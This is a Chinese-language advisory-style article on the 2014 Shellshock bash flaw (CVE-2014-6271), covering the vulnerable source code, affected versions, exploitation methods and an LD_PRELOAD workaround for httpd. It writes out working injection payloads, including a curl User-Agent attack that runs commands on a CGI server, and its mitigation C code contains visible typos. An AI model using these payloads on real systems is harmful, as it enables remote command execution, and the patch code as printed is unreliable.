破壳漏洞CVE-2014-6271 bash代码注入漏洞总结

技术 作者:站内编辑 2014-09-28 03:29:49
概述: 低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造畸形命令执行额外的代码。 细节: bash-4.1/variables.c 的initialize_shell_variables() 函数负责解析临时环境变量中的函数定义并执行出,未验证特殊的环境变量情况,代码如下: void initialize_shell_variables (env, privmode) char **env; int privmode; { ... strcpy(temp_string + char_index + 1, string); /*此处缺少对畸形环境变量的验证,应修改为 if(legal_identifier (name)) parse_and_execute(temp_string, name, SEVAL_NONINT SEVAL_NOHIST SEVAL_FUNCDEF SEVAL_ONECMD); */ parse_and_execute(temp_string, name, SEVAL_NONINT SEVAL_NOHIST); /* Ancientbackwards compatibility. Old versions ofbash exported functions likename()=() {...} */ if(name[char_index - 1] == ')' && name[char_index - 2] == '(') name[char_index - 2] = ''; ... } bash-4.1/builtins/evalstring.c 的parse_and_execute()函数负责具体的解析和执行,未验证特殊的command情况,代码如下: int parse_and_execute (string, from_file, flags) char *string; const char*from_file; int flags; { ... else if (command= global_command) { struct fd_bitmap *bitmap; /*此处缺少对command类型的判断,应添加 if((flags & SEVAL_FUNCDEF) && command->type != cm_function_def) { internal_warning("%s: ignoring function definition attempt", from_file); should_jump_to_top_level= 0; last_result= last_command_exit_value = EX_BADUSAGE; break; } */ bitmap = new_fd_bitmap (FD_BITMAP_SIZE); begin_unwind_frame("pe_dispose"); add_unwind_protect (dispose_fd_bitmap, bitmap); add_unwind_protect (dispose_command,command); /* XXX */ global_command = (COMMAND *)NULL; ... } 影响范围: 该漏洞影响gnu bash 4.3之前的版本。 由于bash的广泛应用,也影响到其他的软件,如httpd cgi等。 利用方法: [bash本地命令注入] 1.官方验证版 env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 2.官方patch绕过版 env -i X='() { (a)=>' bash -c 'echo date';cat echo [http cgi远程命令执行] curl -A "(){ :; }; /bin/ls /; uname -a" http://www.aaa.com/bbb.cgi -v [dhcp远程命令执行] https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/ [vmware fusion提权] https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb 漏洞延伸: busybox 不存在相同漏洞 httpd cgi修复方法: 我们提供的Httpd临时修复方案如下: 1.编辑bash_ld_preload.c文件 #include <sys/types.h> #include #include static void __attribute__ ((constructor)) strip_env(void); extern char **environ; static void strip_env() { char *p,*c; int i = 0; for (p =envirop[i];!=NULL;i++ ) { c =strstr(p,"=() {"); if (c !=NULL) { *(c+2)= ''; } p =environ[i]; } } 2.检查校验和 sha256sum bash_ld_preload.c 28cb0ab767a95dc2f50a515106f6a9be0f4167f9e5dbc47db9b7788798eef153 bash_ld_preload.c 3.编译 $ gcc bash_ld_preload.c -fPIC -shared-Wl,-soname,bash_ld_preload.so.1 -o bash_ld_preload.so 4.复制bash_ld_preload.so到/lib cp bash_ld_preload.so /lib/ 5.在/etc/init.d/httpd头部(在#!行之后)添加以下内容: LD_PRELOAD=/lib/bash_ld_preload.so export LD_PRELOAD 6.重启httpd service httpd restart

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接